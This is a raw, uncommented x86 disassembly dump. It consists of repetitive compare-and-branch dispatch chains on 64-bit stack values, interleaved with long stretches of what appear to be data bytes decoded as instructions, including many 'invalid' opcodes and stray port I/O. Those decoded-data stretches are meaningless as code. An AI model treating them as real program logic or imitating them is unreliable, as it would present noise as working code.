mov eax, dword [ebp - 0x98]
xor eax, 0x57813
or eax, dword [ebp - 0x94]
je 0x6e68e158
mov edx, 0x57813
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x6e69faf5
mov eax, dword [ebp - 0x98]
xor eax, 0x3b8c7
or eax, dword [ebp - 0x94]
je 0x6e6956b0
mov edx, 0x3b8c7
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x6e69faf5
mov eax, dword [ebp - 0x98]
xor eax, 0x2dde5
or eax, dword [ebp - 0x94]
je 0x6e699d18
mov edx, 0x2dde5
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x6e69faf5
mov eax, dword [ebp - 0x98]
xor eax, 0x28d0e
or eax, dword [ebp - 0x94]
je 0x6e69b490
mov edx, 0x28d0e
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x6e69faf5
mov eax, dword [ebp - 0x98]
xor eax, 0x21812
or eax, dword [ebp - 0x94]
je 0x6e68f8d0
mov edx, 0x21812
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x6e69faf5
mov eax, dword [ebp - 0x98]
xor eax, 0x1168c
or eax, dword [ebp - 0x94]
je 0x6e68b268
invalid
mov eax, dword [ebp - 0x98]
xor eax, 0x18524
or eax, dword [ebp - 0x94]
je 0x6e693f38
jmp 0x6e69faf5
adc dword [edx + edi*4 + 0x48f3f366], ebx
cmpsb byte [esi], byte es:[edi]
and esi, dword [edx - 0x4f89c8b7]
adc eax, 0x9bcb0a53
mov bh, ah
sbb byte [ecx + 0x48a2df1b], dl
jns 0x6e689acb
xchg ecx, eax
sbb al, 0xc5
test eax, 0xf933ced9
sbb ah, byte [esi + 0x30]
pop esi
mov bl, 0x5f
push ecx
mov esi, 0x2340ac
mov eax, dword [esi]
mul dword [ebx + 0x5b]
add dword [edx + 0x4087742], ecx
lds esi, [ebx]
in al, dx
xchg ebx, eax
in al, dx
wait
add eax, 0xc47982a3
pop ecx
cmp dword [edi - 0xd], ebx
xchg edi, eax
mov bh, 0x62
pushfd
push es
sar byte ds:[ecx + 0x3229b190], 0xd
idiv byte cs:[eax]
int1
dec ebp
pop edi
popfd
test al, 0xcf
arpl word [eax + ebx*8], bp
fstp qword [esi - 0xc2474f1]
mov dh, pe_nt_image_headers32
imul dword [edx + edx*8 + 0x1b399de]
leave
mov ch, 0xee
retf
push edx
dec di
sbb byte [edi - 0x2ac2a451], ah
mov ebp, 0x34defdf7
mov dl, 0xac
fistp dword [edx - 0x26469045]
fdivp st(2)
cli
jnp 0x6e68b27f
int1
sub ecx, dword [0xfaa6b773]
sahf
inc esp
fstp qword [esi + esi*4 + 0x75]
call 0x5f8c7395
daa
sub esi, ecx
mov dword [0xe484f69b], eax
jae 0x6e68b2ab
cmpsd dword [esi], dword es:[edi]
push esi
inc edx
int 0x1f
push ebx
or al, 0x75
enter 0xffffffffffffbdee, 0xfffffffffffffff9
pop ebx
sbb eax, 0x5b6f41e0
dec edi
inc eax
invalid
invalid
or eax, 0xd6315bc8
adc ecx, esp
fimul word [eax + 0x511e617]
inc esi
pop esi
aad 0x65
sahf
mov byte [ebx + 0x100eaf2f], dl
insd dword es:[edi], dx
lea ebx, [ecx]
sub al, 0x96
bound edx, qword [ebx - 0x2d]
push ds
iretd
xor dh, byte [0xc59f6651]
push ebx
inc ebp
push es
daa
pop edx
fimul dword [ecx + 0x4bcad33f]
xchg ecx, eax
sbb al, 0xc5
mov esi, 0x90d23263
mov ch, 0xc0
test eax, 0xebec1703
cmp eax, 0x88d23cba
inc edi
or bl, dl
shl byte [edx - 0x75], 1
pop ecx
and byte [edx], dh
in eax, dx
mov ebx, dword [ecx + 0x20]
xor ch, ch
or dh, byte [ecx + 0x66]
out dx, al
or al, byte [0xee9985e5]
fstp xword [edx - 0x4a0c1003]
add byte [eax - 0x5b74678a], cl
mov word [edx + 0x3e], ds
xor eax, 0x6113b38e
mov byte [esi - 0x68], dh
mov esp, dword [esp + ecx*4 - 0x71cac1a6]
mov bl, 0x13
popal
dec edx
ret 0xc453
cmp eax, 0xa84f626c
and eax, 0x2a50395
aas
dec esi
test dh, dh
pop ebx
inc ebp
test eax, 0x3b8c0f8e
std
js 0x6e68f83a
out 0xfd, al
stosb byte es:[edi], al
push cs
push cs
repe scasb al, byte es:[edi]
sbb ebp, ebx
sub eax, 0x40645fab
pop eax
aas
inc esp
mov ch, 0x82
ja 0x6e68f864
mov byte [0xe85f0ce7], al
and eax, 0xcc90c9a7
jmp 0x6e69faf9
imul ebx, dword [esi + 0x10], 0xffffffd5
pop ecx
sub byte [ebx - 0xf], cl
je 0x6e68f87a
out 0xe8, al
and cl, dh
and dl, byte [eax]
and cl, byte [eax]
jle 0x6e68f893
cmpsd dword [esi], dword es:[edi]
leave
invalid
aaa
les eax, [ebx]
loop 0x6e6910a8
dec edi
ror ah, cl
mov dh, 0x1e
nop
or byte [ecx - 0x15], ah
popal
adc ah, byte [eax + ebx*8 + 0x3dbfcfe1]
test al, 0x10
movsb byte es:[edi], byte fs:[esi]
inc edx
dec esi
sub al, 0xbe
or al, 0xd2
xor al, 0x91
push edx
mov ecx, 0xc143c765
inc eax
dec edi
jp 0x6e691050
xor dl, dl
sbb eax, 0x9ba7dbb
sahf
sub dword [edx - 7], 0x4960bb5d
in eax, dx
add al, 0xc0
invalid
invalid
stc
aad 0x16
in eax, 0xfd
or ebp, edx
je 0x6e6927d0
invalid
cwde
add eax, 0x9cc8fd38
mov esp, 0x7669d52a
pushal
out dx, eax
salc
and al, 0x94
cmp ah, byte [0x445c9462]
push eax
imul ebx, dword [edi], 0x16
ror byte [esi + 0x75], 0x9f
invalid
and dword [ebp - 5], esp
pop ecx
jecxz 0x6e693fab
adc byte [ecx], bl
pop es
mov bl, 0x91
salc
jno 0x6e693fa0
sub eax, 0x4b74cec3
sub dword [edi], edi
adc eax, dword [ecx - 0x1c]
int3
outsd dx, dword [esi]
lea eax, [esp + ecx*2]
adc al, 0x97
adc edx, dword [ebp + 0x22d0a546]
out dx, eax
and ch, bh
cmp dword [edx], edx
stc
cmp bh, al
mov edx, 0xf8d1228
mov dh, 0x64
clc
adc byte [edx + esi*2], cl
push edi
jmp 0x707df946
lea edx, [edi]
cmp al, 0x85
pop edx
lodsb al, byte [esi]
retf
pop ss
inc eax
sbb al, 7
push es
adc dh, dh
add dh, ch
out 0x1a, eax
pushal
mov esp, 0x1e8fc5b4
and ebp, ebp
test dword [edx], ebx
jno 0x6e696e49
pop esp
popal
mov ecx, 0xf29b26dd
das
sbb eax, 0x1454f1bf
nop
jmp 0x7777692c
mov dl, 0x89
das
sub byte [ebp + 0x4e94e4e2], al
dec ebx
imul edi, dword [eax + edx], 0x2d9066f4
nop
cmpsd dword [esi], dword es:[edi]
shr byte [ebx], 1
mov word [ecx], fs
xlatb
push 0x4e
and dh, byte [edx - 0x29]
cmp ebx, edx
out 0xd4, eax
inc edi
push 0xffffffffffffffd2
cmp ebx, ebp
inc ecx
xchg ebx, eax
inc eax
mov edx, 0xd02da526
int3
test al, 0x66
push ebx
outsb dx, byte [esi]
mov al, byte [ebx - 0x6277a9bf]
invalid
dec edi
ljmp 0x3f20
mov esi, 0x3a87565e
sar byte [esi + edi*8 - 0x3be94859], 1
stosd dword es:[edi], eax
sub eax, 0x65398eb1
sar ecx, 0xc3
fcomp qword [esp + eax*8]
out dx, eax
push 0xffffffffffffffc5
leave
jbe 0x6e69b447
cmpsb byte [esi], byte es:[edi]
pop ss
out dx, eax
ror byte [0x1483b4ae], 1
loopne 0x6e69b4b5
scasb al, byte es:[edi]
mov ah, 0x83
adc al, 0xe0
cli
and bl, ah
test byte [0xdbc42897], dh
xchg ebp, eax
adc byte [edx], dh
salc
aaa
sbb dword [ecx + 0x74], 0x3c
xchg dword [esi*8 - 0x31b93b7e], ecx
xor eax, 0x9c135df
fsubrp st(0)
push ecx
mov ebx, 0x87765979
cmpsd dword [esi], dword es:[edi]
outsb dx, byte [esi]
mov edx, 0xe059a06d
ret 0xf0aa
mov word [ebx + 0x40], ds
and al, 0x6a
int1
xchg ebp, eax
push es
test eax, 0x5245f331
pushal
add dword [ebx + edi*8 + 0x38dc6b21], edx
ret 0x68c5
and esp, dword [esi + ecx*8 - 0x4f]
and edi, dword [edx]
mov cl, 0xa1
pushf
lds ecx, [edx + edx*2]
sbb dword [ecx - 0x5b], edx
invalid
stosd dword es:[edi], eax
sub eax, 0x594f7e5b
inc edx
push esi
or byte [ebx], bh
lodsb al, byte [esi]
mov al, byte [edi + esi*8]
nop
int3
adc esi, dword [ebp - 0x28]
cmp esp, dword [ebp - 0x1ddd5a57]
push esi
mov ebx, 0x79d5444c
inc ecx
jge 0x6e69e351
and al, 0xd7
or esi, dword [esi + 7]
xlatb
or eax, dword [esi]
and bh, bl
pushfd
cli
ror byte [ebp + 0x194d0d9b], 1
add ebp, dword [eax + 5]
and eax, 0xe7f6906a
dec ebp
sbb dword [ebx], eax
push 0x906a2505
mul bh
ja 0x6e69e427
push eax
jne 0x6e69e3b7
xchg dword [edi - 0x16e415ac], eax
pop edi
add dl, ah
jle 0x6e69e36b
jle 0x6e69e3a2
pop ecx
or al, 0x68
or dword [edi], edi
in al, 0x7f
test eax, 0x9cfd6cb
invalid
xor al, 0xfb
cmp eax, 0xf1bdde84
xchg edx, eax
dec byte [eax + 6]
aaa
sub eax, 0xdd296fb8
out dx, eax
push ebx
clc
mov cl, 0x38
cmp ecx, dword [ebx]
or dword [eax], 0x2270b8e3
push 0x4e413264
pop ebx
pop esp
nop
int3
nop
jmp 0x6e69faf9
nop
mov eax, 1
jmp 0x6e6f3fc0
mov dword [ebp - 0x28], 0x28a66
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x30], 0x6c1f9
mov dword [ebp - 0x2c], 0
mov ecx, dword [ebp - 0x28]
mov ebx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x38]
xor eax, 0xeb9af
or eax, dword [ebp - 0x34]
je 0x6e6ab917
mov edx, 0xeb9af
mov eax, 0
cmp edx, dword [ebp - 0x38]
sbb eax, dword [ebp - 0x34]
jl 0x6e6b45e4
mov eax, dword [ebp - 0x38]
xor eax, 0xe69cd
or eax, dword [ebp - 0x34]
je 0x6e6a5b37
mov edx, 0xe69cd
mov eax, 0
cmp edx, dword [ebp - 0x38]
sbb eax, dword [ebp - 0x34]
jl 0x6e6b45e4
mov eax, dword [ebp - 0x38]
xor eax, 0xd6930
or eax, dword [ebp - 0x34]
je 0x6e6b16f7
mov edx, 0xd6930
mov eax, 0
cmp edx, dword [ebp - 0x38]
sbb eax, dword [ebp - 0x34]
jl 0x6e6b45e4
mov eax, dword [ebp - 0x38]
xor eax, 0xa09e5
or eax, dword [ebp - 0x34]
je 0x6e6a2c47
mov edx, 0xa09e5
mov eax, 0
cmp edx, dword [ebp - 0x38]
sbb eax, dword [ebp - 0x34]
jl 0x6e6b45e4
mov eax, dword [ebp - 0x38]
xor eax, 0x94c5f
or eax, dword [ebp - 0x34]
je 0x6e6b45ea
mov edx, 0x94c5f
mov eax, 0
cmp edx, dword [ebp - 0x38]
sbb eax, dword [ebp - 0x34]
jl 0x6e6b45e4
mov eax, dword [ebp - 0x38]
xor eax, 0x926fd
or eax, dword [ebp - 0x34]
je 0x6e6aff7f
mov edx, 0x926fd
mov eax, 0
cmp edx, dword [ebp - 0x38]
sbb eax, dword [ebp - 0x34]
jl 0x6e6b45e4
mov eax, dword [ebp - 0x38]
xor eax, 0x73f5d
or eax, dword [ebp - 0x34]
je 0x6e6a14cf
mov edx, 0x73f5d
mov eax, 0
cmp edx, dword [ebp - 0x38]
sbb eax, dword [ebp - 0x34]
jl 0x6e6b45e4
mov eax, dword [ebp - 0x38]
xor eax, 0x631cc
or eax, dword [ebp - 0x34]
je 0x6e6ae807
mov edx, 0x631cc
mov eax, 0
cmp edx, dword [ebp - 0x38]
sbb eax, dword [ebp - 0x34]
jl 0x6e6b45e4
mov eax, dword [ebp - 0x38]
xor eax, 0x62fd4
or eax, dword [ebp - 0x34]
je 0x6e6a43bf
mov edx, 0x62fd4
mov eax, 0
cmp edx, dword [ebp - 0x38]
sbb eax, dword [ebp - 0x34]
jl 0x6e6b45e4
mov eax, dword [ebp - 0x38]
xor eax, 0x50930
or eax, dword [ebp - 0x34]
je 0x6e69fd57
mov edx, 0x50930
mov eax, 0
cmp edx, dword [ebp - 0x38]
sbb eax, dword [ebp - 0x34]
jl 0x6e6b45e4
mov eax, dword [ebp - 0x38]
xor eax, 0x4e4e1
or eax, dword [ebp - 0x34]
je 0x6e6a72af
mov edx, 0x4e4e1
mov eax, 0
cmp edx, dword [ebp - 0x38]
sbb eax, dword [ebp - 0x34]
jl 0x6e6b45e4
mov eax, dword [ebp - 0x38]
xor eax, 0x27e28
or eax, dword [ebp - 0x34]
je 0x6e6a8a27
mov edx, 0x27e28
mov eax, 0
cmp edx, dword [ebp - 0x38]
sbb eax, dword [ebp - 0x34]
jl 0x6e6b45e4
mov eax, dword [ebp - 0x38]
xor eax, 0x1f311
or eax, dword [ebp - 0x34]
je 0x6e6aa19f
mov edx, 0x1f311
mov eax, 0
cmp edx, dword [ebp - 0x38]
sbb eax, dword [ebp - 0x34]
jl 0x6e6b45e4
mov eax, dword [ebp - 0x38]
xor eax, 0xbf02
or eax, dword [ebp - 0x34]
je 0x6e6ad08f
mov eax, dword [ebp - 0x38]
xor eax, 0xc505
or eax, dword [ebp - 0x34]
je 0x6e6b2e6f
jmp 0x6e6b45e4
dec eax
wait
std
mov byte [ebx - 0x43], bh
cmpsd dword [esi], dword es:[edi]
and edi, dword [edx - 0x71e2d304]
test byte [ecx], bl
inc eax
sub dword [ebp - 0x4a], eax
sub dword [ebp + 0x579debea], ebp
call 0xd543b17
mov dh, 0x15
add dword [ecx + edx + 0x12], 0x3b
lodsd eax, dword [esi]
jge 0x6e69fd9f
aad 0x49
in al, dx
div dword [0x1633ba3c]
int 0x14
mov ah, 0xfa
salc
adc esp, dword [eax]
int3
pop ebx
mov ebp, 0x5f81e1d6
salc
sub edx, ebp
jae 0x6e69fd57
ficom dword [edx]
pop ebp
fidiv dword [ecx + 0x66]
leave
nop
pop dword [ebp + 0x2a]
int3
lds esi, [edx]
add bl, ch
pushfd
arpl word [ecx], si
out dx, eax
movsb byte es:[edi], byte [esi]
aam 0x50
invalid
arpl word [0xc7e49a4b], cx
js 0x6e6a2c5d
mov al, byte [0x6139d810]
sar byte [ecx + ecx + 0x4a48ae07], 1
xor eax, 0x12a6930
cmc
add dword [edx + 0x44], ecx
imul ebp, dword [edx], 0x4a01f501
inc esp
xchg edi, eax
push ebx
sbb dh, dh
hlt
mov esi, dword [edx]
inc esp
lcall 0x6dfd, 0x70ce95fd
std
insd dword es:[edi], dx
xchg dword [ecx], edx
dec edi
mov dh, 0xcc
in al, dx
cmp ah, byte [edi]
or cl, byte [eax]
mov esp, 0xb30f1209
adc eax, 0xbe77b5c2
mov cl, 0x5a
outsd dx, dword [esi]
jbe 0x6e6a43c7
adc eax, 0x6cb9ca4b
xchg ebx, eax
cmp bh, byte [edi]
pop esp
in eax, 0xe5
pop ebp
push edx
insb byte es:[edi], dx
sbb ch, byte [esi - 0x22]
lds eax, [eax]
lodsd eax, dword [esi]
out 0xd5, al
push ecx
not esp
scasd eax, dword es:[edi]
dec ecx
xlatb
inc edi
push ebx
in eax, 0x14
ret
fcomp qword [ebp + 0x1d4dc474]
pop edi
inc esp
jmp 0xda28ae79
xor byte [0x3954f617], 0x86
test eax, 0xa23a3a70
jp 0x6e6a730a
mov al, 0xe8
sbb ah, cl
cmp dword [ecx + esi*2], ecx
sub ch, byte [edi]
cmp eax, 0xb9379692
sbb al, 0x21
retf
mov dword [eax], eax
in al, 0x78
sbb ecx, 3
popal
stosb byte es:[edi], al
dec ecx
xor al, 0xf9
jp 0x6e6a738b
push edx
add eax, 0x39139246
and dword [esi - 0x696b1114], edi
dec esp
cmp dword [edx], 0x40b42dd6
in eax, 0x36
invalid
movsd dword es:[edi], dword [esi]
inc ecx
pop eax
adc dh, bh
push edi
and eax, 0x2302b09b
cld
jae 0x6e6a739e
ljmp 0x9aee:0xf58e381e
out dx, al
lcall 0x1e87, 0x9e984c8d
dec esp
cwde
sahf
xchg dword [esi], ebx
pop edi
ja 0x6e6a73a1
inc ebp
xor eax, 0xad885e36
cdq
adc bl, ah
add ebx, dword [edi]
invalid
push 0x30b50bf7
xchg ecx, eax
invalid
invalid
cmp bl, byte [eax + 0x58d234fa]
in al, dx
sub ch, byte [edx - 0x4c]
std
sub dword [esi - 0x3b9c6be7], 0x24
retf
jmp 0x6e6b45eb
mov word [eax], es
add byte [ebx + ebx], bl
sbb al, 0x1b
jbe 0x6e6ab8b3
jo 0x6e6ab97c
xchg dword [edi], eax
jb 0x6e6ab8a8
sbb eax, 0x1e004635
inc esp
xor eax, 0x441e0046
jne 0x6e6ab914
mov ebx, 0x692fe40
cdq
jg 0x6e6ab9ad
les edi, [esi + 0x3c]
cdq
sti
arpl word [ecx], si
xor cl, byte [esi + 0x47b08f5f]
int1
xchg esp, eax
xor al, 0x45
add eax, 0xa8d9655
rcl byte [edx + 0x18], cl
sbb dl, byte [eax - 0x57]
jno 0x6e6ab958
invalid
and dword [esp + ecx*8 + 0x2b512791], ebx
mov ah, 0xc0
aad 0x6b
dec ecx
lodsd eax, dword [esi]
jge 0x6e6ab9c3
fmul st(5)
loop 0x6e6ab912
call 0xb3048248
adc al, bl
je 0x6e6ab923
xchg byte [esi - 0x64efbf1c], dl
bswap eax
cmp al, 0xc
dec ebp
daa
sahf
invalid
xor esi, eax
int 0x67
test al, 0xdd
rcl dword [ebx + ebx*8 + 0x3e484559]
fisttp qword [eax - 0x31]
cmpsd dword [esi], dword es:[edi]
jnp 0x9ad9a05
xchg ecx, eax
out dx, eax
or edi, dword [ecx - 0x5b]
invalid
mov eax, 0xa6c2f908
jbe 0x6e6ab93d
mov dword [0x8cf37ae2], eax
dec esp
push es
ret
sub byte [eax + edi*4 + 3], 0x24
mov dl, 0x20
xlatb
ror byte [ebx - 0x4b870f83], 1
xor eax, 0x3249d5aa
push 0x34
invalid
mov dh, 0xd1
and edx, dword [ebx]
push cs
popal
sti
popfd
dec esp
mov ah, 0x2e
clc
les ecx, [edi - 0x345403ab]
fsub st(1), st(0)
hlt
pop eax
pop ds
inc byte [bp - 0x15ea]
sbb al, 0xdb
push cs
fild qword [esi - 0x19]
test al, 0xed
mov word [edx], fs
outsb dx, byte [esi]
popal
sub dword [ebx - 0x59], 0xf736e519
outsb dx, byte [esi]
ljmp 0xfdf5
movsd dword es:[edi], dword [esi]
inc esi
cmpsd dword [esi], dword es:[edi]
or al, al
pop eax
jmp 0xc902db9d
dec ebp
or eax, 0x14b708e
pop eax
pop ecx
inc eax
shl dword [ebx], 1
cmp edx, dword [ecx + 0x3f]
lcall 0xf67a, 0x890b7a3f
lock add byte [eax + 0x24], dh
inc edx
ja 0x6e6aff09
int3
aam 0xb
dec edx
and al, 0x4f
dec edi
xor dword [ebx + 0x7e08099c], esp
jl 0x6e6aff9a
ret
outsd dx, dword [esi]
outsb dx, byte [esi]
dec esp
cmp eax, 0xb96010c5
jbe 0x6e6affa9
inc ebp
mov esp, 0xef6a415e
jg 0x6e6afff4
sahf
imul edi, esp, 0xdb87910b
mov bl, 0x5c
jecxz 0x6e6aff82
enter 0xffffffffffffe262, 0xffffffffffffffa6
sub eax, 0x5132ceb5
mov byte [0xc2be21b9], al
pop ebx
dec eax
in al, dx
stosd dword es:[edi], eax
xor edx, dword [esi]
pop ebp
dec esi
jb 0x6e6aff5d
pop ebx
jb 0x6e6affd8
and eax, 0xe2d84495
mov dh, 0xa1
mov ebp, 0x1a3c30fe
adc byte [eax + 0x47], ah
mov eax, dword [0x3c30febd]
sbb dl, byte [eax]
pushal
inc edi
invalid
sub dword [ecx - 0x27], ebp
mov ebx, 0xeb6b3c6d
mov dword [0x3d359ac0], eax
fcom qword [ecx - 0x319e552c]
loopne 0x6e6affce
imul ebx, ecx, 0x6b3c6dbb
jmp 0x6e6aff83
mov edx, esi
sbb eax, 0xfe3d5169
xor ecx, 0x68c69016
das
adc cl, byte [eax]
loop 0x6e6affd0
int1
push ss
nop
invalid
add byte [eax], bh
loope 0x6e6aff90
outsd dx, dword [esi]
popfd
inc eax
adc bl, dl
mov al, byte [0xfd6b2114]
push eax
feni8087_nop
outsb dx, byte [esi]
mov edi, 0x2a9dfa8a
pop edi
xlatb
outsd dx, dword [esi]
outsb dx, byte [esi]
nop
push ds
invalid
invalid
add bl, byte [esi + 0x7d]
fstp dword [edx + 0x4b]
dec edi
invalid
loopne 0x6e6b2daa
pop edx
push esi
movsd dword es:[edi], dword [esi]
stc
dec esp
push cs
jb 0x6e6b2e34
loope 0x6e6b2e46
push ebp
jp 0x6e6b2e97
inc edi
jp 0x6e6b2e81
mov ch, 0xb
lea edx, [eax + 0xc]
and dword [eax + 0x37349c3e], 0xffffffaf
lodsd eax, dword [esi]
mov dword [0xc6940cb1], eax
not byte [eax + eax*8 - 0x3dc3ae19]
sub bh, byte [edi + 0x34]
pop ebx
push esp
invalid
or al, 0x94
invalid
invalid
cmpsb byte [esi], byte es:[edi]
lodsb al, byte [esi]
pop ebp
cmp byte [edi], bh
clc
add edx, edi
fdivr dword [ecx - 0x3056ffa0]
ret
push cs
arpl bx, sp
and byte [ecx + 0xa73ca7c], bl
jp 0x6e6b2ea9
test eax, 0xaebb0c8c
les edx, [bx + si - 0x5769]
jl 0x6e6b2eb9
nop
xchg edi, eax
test al, 0x7c
xor edx, dword [ebp - 0x611ebecd]
xchg ebp, eax
xor eax, dword [ecx - 0x1f]
sahf
ja 0x6e6b2e13
dec ebx
xchg esp, eax
cli
loopne 0x6e6b2e4f
or byte [esi + 0x44], bl
xor byte [edi - 0x1bfbe7fa], ch
push es
sbb byte [esp], al
sti
pop ebx
xchg ebp, eax
or edi, dword [0xaba07630]
and al, ch
mov dh, byte [edi]
dec esp
and ebp, dword [eax + ebx*8]
sal dword [edi + ebx*8], 1
cli
dec esp
paddusb mm0, qword [ebp + 0x42e0d5ee]
aaa
movsb byte es:[edi], byte [esi]
mov ecx, 0x2ba9e2df
push ss
retf 0x6ee2
nop
jmp 0x6e6e99c5
nop
jmp 0x6e6e99c5
mov dword [ebp - 0x10], 0x63125
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x18], 0xced72
mov dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
sub eax, dword [ebp - 0x10]
sbb edx, dword [ebp - 0xc]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x20]
xor eax, 0xed5c8
or eax, dword [ebp - 0x1c]
je 0x6e6b8f6b
mov edx, 0xed5c8
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6e6d06e8
mov eax, dword [ebp - 0x20]
xor eax, 0xe3f7a
or eax, dword [ebp - 0x1c]
je 0x6e6c62a3
mov edx, 0xe3f7a
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6e6d06e8
mov eax, dword [ebp - 0x20]
xor eax, 0xd9483
or eax, dword [ebp - 0x1c]
je 0x6e6bed4b
mov edx, 0xd9483
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6e6d06e8
mov eax, dword [ebp - 0x20]
xor eax, 0xb8034
or eax, dword [ebp - 0x1c]
je 0x6e6cc083
mov edx, 0xb8034
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6e6d06e8
mov eax, dword [ebp - 0x20]
xor eax, 0xb12c0
or eax, dword [ebp - 0x1c]
je 0x6e6cd7fb
mov edx, 0xb12c0
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6e6d06e8
mov eax, dword [ebp - 0x20]
xor eax, 0xaced7
or eax, dword [ebp - 0x1c]
je 0x6e6b607b
mov edx, 0xaced7
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6e6d06e8
mov eax, dword [ebp - 0x20]
xor eax, 0xa6e06
or eax, dword [ebp - 0x1c]
je 0x6e6c04c3
mov edx, 0xa6e06
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6e6d06e8
mov eax, dword [ebp - 0x20]
xor eax, 0xa588b
or eax, dword [ebp - 0x1c]
je 0x6e6b4903
mov edx, 0xa588b
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6e6d06e8
mov eax, dword [ebp - 0x20]
xor eax, 0xa2489
or eax, dword [ebp - 0x1c]
je 0x6e6c1c3b
mov edx, 0xa2489
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6e6d06e8
mov eax, dword [ebp - 0x20]
xor eax, 0x76880
or eax, dword [ebp - 0x1c]
je 0x6e6ca90b
mov edx, 0x76880
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6e6d06e8
mov eax, dword [ebp - 0x20]
xor eax, 0x6bc4d
or eax, dword [ebp - 0x1c]
je 0x6e6d06ee
mov edx, 0x6bc4d
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6e6d06e8
mov eax, dword [ebp - 0x20]
xor eax, 0x6a644
or eax, dword [ebp - 0x1c]
je 0x6e6c7a1b
mov edx, 0x6a644
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6e6d06e8
mov eax, dword [ebp - 0x20]
xor eax, 0x596c8
or eax, dword [ebp - 0x1c]
je 0x6e6c9193
mov edx, 0x596c8
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6e6d06e8
mov eax, dword [ebp - 0x20]
xor eax, 0x4ab38
or eax, dword [ebp - 0x1c]
je 0x6e6bd5d3
mov edx, 0x4ab38
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6e6d06e8
mov eax, dword [ebp - 0x20]
xor eax, 0x3c025
or eax, dword [ebp - 0x1c]
je 0x6e6c4b2b
mov edx, 0x3c025
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6e6d06e8
mov eax, dword [ebp - 0x20]
xor eax, 0x2aff7
or eax, dword [ebp - 0x1c]
je 0x6e6c33b3
mov edx, 0x2aff7
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6e6d06e8
mov eax, dword [ebp - 0x20]
xor eax, 0x1c42a
or eax, dword [ebp - 0x1c]
je 0x6e6bbe5b
mov edx, 0x1c42a
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6e6d06e8
invalid
mov eax, dword [ebp - 0x20]
xor eax, 0x1c3db
or eax, dword [ebp - 0x1c]
je 0x6e6cef73
mov edx, 0x1c3db
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x6e6d06e8
mov eax, dword [ebp - 0x20]
xor eax, 0xa225
or eax, dword [ebp - 0x1c]
je 0x6e6ba6e3
mov eax, dword [ebp - 0x20]
xor eax, 0x18a78
or eax, dword [ebp - 0x1c]
je 0x6e6b77f3
jmp 0x6e6d06e8
jb 0x6e6b48b0
inc edi
push ss
insd dword es:[edi], dx
add al, 0xc9
mov edx, 0xb0ef37c7
bswap esi
out 0x6f, eax
insd dword es:[edi], dx
salc
push ds
inc esp
pushal
mov ebx, 0x36d12c7f
fstp xword [edi + 0x5a527d3f]
outsd dx, dword [esi]
pop es
sbb byte [ecx + ebx*8 + 0x30], 0x38
pop edx
or edx, dword [esi]
test dword [edx - 0x5e], eax
sbb eax, 0xb2d2ee4
mov ah, 0x3c
sal byte [eax + 0x4f], 0xf8
pop edi
lodsb al, byte [esi]
retf
add dword [esi + 0x11], esp
imul ebp, ebp, 0xffffffaa
arpl word [0xb07038fd], bp
insb byte es:[edi], dx
test dword [esi + 0x7c], 0x7961f868
mov dword [edi], ecx
shr cl, 0x3c
sbb byte [esi - 0x7a], 0x2d
sbb dword [edi - 0x574f53dc], edi
popal
daa
invalid
scasb al, byte es:[edi]
fistp qword [edx]
arpl word [ebp + 0x43b40aa5], si
or al, 0x2f
sub bl, byte [esi + 0x3af17355]
sbb cl, byte [eax - 0x38]
inc esp
mov ecx, 0x1a4df976
shl byte [ebx + 0x11ca9956], 1
cmpsd dword [esi], dword es:[edi]
mov al, 0xbe
test esp, 0xbc2c8632
jmp 0x8114b055
int3
aad 0x44
fnstsw word [edi]
xchg edx, eax
test dword [ebx + 0x3b313eb1], eax
fdiv qword [ebp - 0x67fbf658]
dec eax
dec edi
jle 0x6e6ba715
cmp al, 0x1c
jge 0x6e6ba6e7
movsd dword es:[edi], dword [esi]
adc bh, byte [esi - 0x30]
sti
in eax, 0xae
pushfd
scasd eax, dword es:[edi]
pop ss
ret 0x3160
sbb bh, byte [edi - 0x5b]
